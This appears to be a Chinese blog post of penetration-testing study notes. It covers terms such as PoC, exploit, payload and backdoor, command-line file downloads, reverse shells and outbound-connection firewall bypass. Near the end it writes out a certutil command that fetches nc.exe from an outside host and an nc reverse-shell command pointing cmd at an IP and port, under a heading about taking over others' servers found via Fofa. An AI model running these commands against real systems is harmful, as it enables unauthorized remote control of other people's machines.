首页 > 系统相关 >操作系统名词_文件下载_反弹shell_1

操作系统名词_文件下载_反弹shell_1

时间:2024-09-17 13:23:53浏览次数:3  
标签:shell 操作系统 名词 防火墙 案例 linux 解决 Payload

目录

名词解释

Poc、EXP、Payload与shellcode

后门

木马、病毒

黑白盒测试

社会工程学、撞库

ATT&CK

应用实例

实用案例1:文件上传下载-解决无图形化&解决数据传输

实用案例2:反弹shell命令-解决数据回显&解决数据通讯

结合案例1:防火墙绕过-正向连接&反向连接&内网服务器 

#结合案例2:学会了有手就行-Fofa拿下同行Pikachu服务器


名词解释

Poc、EXP、Payload与shellcode


POC:全称'Proof of Concept',中文'概念验证',常指一段漏洞证明的代码,
EXP:全称'Exploit',中文‘利用',指利用系统漏洞进行攻击的动作。
Payload:中文'有效载荷',指成功exploit之后,真正在目标系统执行的代码或指今。
Shellcode:简单翻译'shell代码',是Payload的一种,由于其建立正向/反向shell而得名。

poc是验证代码,看漏洞是否存在。exp是利用代码,是关键。

后门

webshow是指网站一类的后门。

木马、病毒

木马是控制电脑,病毒就是纯破坏性。

黑白盒测试

黑盒就是无法得到源代码时进行测试。

社会工程学、撞库

        社会工程学就是通过人而不是程序,撞库就是收集某些公式泄露的数据,通过这些数据去尝试这些用户的其他账户。

ATT&CK

        就是一些漏洞的专有名词,可以在写报告的时候用上。

应用实例

实用案例1:文件上传下载-解决无图形化&解决数据传输

        在上传和下载文件时,很多时候我们没有图形化界面,这时就需要使用相应的指令在对应的系统中进行下载。
Linux:wget curl python ruby perl java

linux一般是wget和curl命令进行下载


Windows:PowerShell Certutil Bitsadmin msiexec mshta rundl132

windows一般使用powershell命令进行下载。

实用案例2:反弹shell命令-解决数据回显&解决数据通讯

反弹是指将权限移动到了另一个地方。

解决数据回显:就是指我们发射攻击的东西后,对方回给我们一个反馈,告诉我们成功了没有。


useradd用户名passwd用户名

交互式就是我们输入一个命令后,系统会等待我们的输入。 

测试linux系统添加用户或修改密码命令交互回显问题。

我们能管理外网,但外网不能直接管理我们,因为外网不能直接锁定到内网具体是哪一个用户。

结合案例1:防火墙绕过-正向连接&反向连接&内网服务器 

防火墙对入站检测严格,出站检测宽松。

        比如windows主机和一个linux主机,只有windows主机开了防火墙,那么可以从windows主机交出数据给linux,此时为出站。碰到防火墙,尽量让对方主动找我们,而不是我们去找他。

#结合案例2:学会了有手就行-Fofa拿下同行Pikachu服务器

pikachu是一个靶场,上面有很多漏洞。
文件下载&反弹shell:
certutil -urlcache -split -f http://www.xiaodi8.com/nc.exe nc.exe
nc-ecmd47.75.212.1555566

标签:shell,操作系统,名词,防火墙,案例,linux,解决,Payload
From: https://blog.csdn.net/2301_79431343/article/details/142307762

相关文章

  • 【Linux进程】Linux Shell编程实战:构建简易脚本示例与技巧详解
    ......
  • linux-shell -cat命令使用
    Linuxcat命令详解cat命令是linux下的一个文本输出命令,通常是用于观看某个文件的内容的;cat主要有三大功能:1.一次显示整个文件。$cat  filename2.从键盘创建一个文件。$cat > filename只能创建新文件,不能编辑已有文件.3.将几个文件合并为一个文件。$cat  ......
  • C:\Users\用户名\AppData\Roaming\ 是 Windows 操作系统中的一个特殊文件夹,用于
    C:\Users\用户名\AppData\Roaming\是Windows操作系统中的一个特殊文件夹,用于存储应用程序的数据和设置。这个文件夹通常用于存放用户级别的应用程序配置文件、数据文件和其他需要在用户登录时保留的信息。这里的路径分为几个部分:C:\Users\用户名\:这是当前用户的主文件夹路......
  • Shell脚本——menu菜单(read、while、case的使用)
    ################################################################################Shell脚本提高工作效率;#Shell脚本定义功能函数;#Shell脚本定义功能分支过多,通过相对路径调用功能Shell脚本,另起炉灶。#Shell脚本通过外部交互输入变量值,例如:read-p"变量含义文本信息:"......
  • 统信服务器操作系统【d版字符系统升级到dde图形化】配置方法
    统信服务器操作系统d版本上由字符系统升级到dde桌面系统的过程文章目录一、准备环境二、功能描述安装步骤1.lightdm安装2.dde安装一、准备环境适用版本:■UOS服务器操作系统d版适用架构:■ARM64、AMD64、MIPS64网络:连接互联网情况下进行二、功能描述......
  • 系统 HIVE 文件是 Windows 注册表中的数据文件,保存系统级的配置信息和设置。它们存储
    系统HIVE文件是Windows注册表中的数据文件,保存系统级的配置信息和设置。它们存储操作系统的配置、驱动程序信息、硬件设置以及系统服务的参数。这些文件在Windows启动时加载,用于系统的正常运行和管理。系统HIVE文件包括几个关键部分,如HKEY_LOCAL_MACHINE\SYSTEM、HKEY_......
  • 鸿蒙读书笔记1:《鸿蒙操作系统设计原理与架构》
    笔记来自新书:《鸿蒙操作系统设计原理与架构》HarmonyOS采用分层架构,从下到上依次分为内核层、系统服务层、框架层和应用层。1. 内核层内核层主要提供硬件资源抽象和常用软件资源,包括进程/线程管理、内存管理、文件系统和IPC(Interprocess Communication,进程间通信)等。......
  • 操作系统的心脏:进程调度的基本过程
    欢迎浏览高耳机的博客希望我们彼此都有更好的收获感谢三连支持!进程调度是操作系统中至关重要的组成部分,它负责决定哪个进程应该在何时使用CPU。了解计算机进行进程调度的过程和原理,对我们了解计算机以及进行多线程编程大有帮助!在操作系统中,进程是系统分配资源的最小......
  • Linux操作系统入门(二)
    完成了前篇所进行的VMware下载安装,并在其内配置了CentOS7的linux操作系统之后,我们得以正式进入了Linux的世界。一.安装FinalShell在本篇中,为了更好的在Windows系统上对虚拟机中的linux操作系统进行操作,我们需要下载一款新的应用程序————FinalShell(其官网如下所示)。ht......
  • Linux操作系统入门(三)
    _______________________________________________一.Linux操作系统的文件结构相比于Windows操作系统的C,D,E等盘符,Linux操作系统仅有一个"/"符号的根目录.这其中存在一个显著的不同,Linux操作系统使用的是斜杠"/",而Windows操作系统中使用的是反斜杠"\"文件路径示例:"/Mus......